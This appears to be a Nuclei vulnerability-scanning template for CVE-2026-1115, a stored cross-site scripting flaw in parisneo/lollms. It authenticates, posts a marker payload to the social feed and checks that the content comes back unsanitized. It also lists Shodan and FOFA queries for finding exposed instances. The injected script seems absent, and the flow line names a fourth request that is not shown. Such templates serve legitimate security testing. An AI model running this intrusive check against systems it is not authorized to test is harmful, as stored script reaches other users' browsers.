id: CVE-2026-1115
info:
name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS
author: str4k3r
severity: high
description: |
parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.
impact: |
Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.
remediation: |
Update to version 2.2.0 or later.
reference:
- https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a
- https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa
- https://nvd.nist.gov/vuln/detail/CVE-2026-1115
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2026-1115
epss-score: 0.0121
epss-percentile: 0.66616
cwe-id: CWE-79
metadata:
verified: true
max-request: 4
vendor: parisneo
product: lollms
shodan-query: http.title:"LoLLMs"
fofa-query: title="LoLLMs"
tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive
variables:
marker: "{{rand_base(8)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /api/auth/token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{url_encode(username)}}&password={{url_encode(password)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "access_token")'
condition: and
internal: true
extractors:
- type: json
name: access_token
part: body
internal: true
json:
- '.access_token'
- raw:
- |
POST /api/social/posts HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{access_token}}
Content-Type: application/json
{"content":"CVE20261115{{marker}}
","visibility":"public","media":[]}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
extractors:
- type: json
name: post_id
part: body
internal: true
json:
- '.id'
- raw:
- |
GET /api/social/feed HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{access_token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "CVE20261115{{marker}}", "
")'
condition: and
# digest: 4a0a0047304502200b5ba04177907e8f67f5dade254dcf39adb3d7e2e47892bbc527cf51fec9ef3c022100e64a30b24170e709cd686aa6b488b6e0be531490192a0a337a3bf40533d2e112:922c64590222798bb761d5b6d8e72950